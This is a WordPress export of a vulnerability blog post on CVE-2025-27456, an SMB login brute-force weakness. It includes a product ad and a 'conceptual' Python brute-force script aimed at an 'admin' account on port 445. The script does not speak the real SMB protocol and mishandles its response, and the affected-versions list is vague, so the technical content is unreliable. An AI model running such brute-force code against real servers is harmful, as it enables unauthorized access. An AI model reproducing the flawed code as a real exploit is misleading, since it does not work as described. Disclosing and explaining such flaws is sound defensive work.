{"id":86563,"date":"2026-02-27T06:24:08","date_gmt":"2026-02-27T06:24:08","guid":{"rendered":""},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-30T06:00:00","slug":"cve-2025-27456-smb-server-vulnerability-to-brute-force-attacks","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-27456-smb-server-vulnerability-to-brute-force-attacks\/","title":{"rendered":"<strong>CVE-2025-27456: SMB Server Vulnerability to Brute-Force Attacks<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>CVE-2025-27456 represents a significant vulnerability in the SMB server&#8217;s login mechanism. This vulnerability, impacting a broad range of systems using the SMB protocol, allows potential attackers to execute brute-force attacks due to insufficient prevention measures against multiple failed authentication attempts. As a result, this vulnerability could lead to severe consequences, such as system compromise or data leakage.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-27456<br \/>\nSeverity: High, CVSS score 7.5<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: Potential system compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-4035627200\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Microsoft Windows Server | All versions prior to patch<br \/>\nLinux Samba Server | Versions 4.0.0 to 4.10.16<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>An attacker could exploit this vulnerability by continuously attempting to authenticate with the SMB server using different credentials within a short timeframe. Given the lack of measures preventing multiple failed attempts, the server remains susceptible to these brute-force attacks. If successful, the attacker could potentially gain unauthorized access, leading to system compromise or data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-322392711\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>The following is a conceptual example of how an attacker might attempt to brute-force the server:<\/p>\n<pre><code class=\"\" data-line=\"\">import socket\nimport itertools\nimport string\ndef try_login(ip, user, password):\ns = socket.socket()\ns.connect((ip, 445))\n# Send SMB authentication request with the user and password\ns.send(f&#039;AUTH {user} {password}\\n&#039;)\nresponse = s.recv(1024)\ns.close()\nreturn &#039;Success&#039; in response\ndef brute_force(ip, user):\nfor password_length in range(1, 9):  # Try passwords of length 1 to 8\nfor password in itertools.product(string.printable, repeat=password_length):\npassword = &#039;&#039;.join(password)\nif try_login(ip, user, password):\nprint(f&#039;Found password: {password}&#039;)\nreturn\nbrute_force(&#039;192.0.2.0&#039;, &#039;admin&#039;)<\/code><\/pre>\n<p>In this mock example, the attacker is attempting to brute-force the &#8216;admin&#8217; account on the server at IP address &#8216;192.0.2.0&#8217;. The attacker tries all printable ASCII characters in passwords of length 1 to 8. If a password is found, it&#8217;s printed and the attack stops.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview CVE-2025-27456 represents a significant vulnerability in the SMB server&#8217;s login mechanism. This vulnerability, impacting a broad range of systems using the SMB protocol, allows potential attackers to execute brute-force attacks due to insufficient prevention measures against multiple failed authentication attempts. As a result, this vulnerability could lead to severe consequences, such as system compromise [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-86563","post","type-post","status-publish","format-standard","hentry"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/86563","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=86563"}],"version-history":[{"count":0,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/86563\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=86563"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=86563"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=86563"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=86563"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=86563"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=86563"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=86563"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=86563"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=86563"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}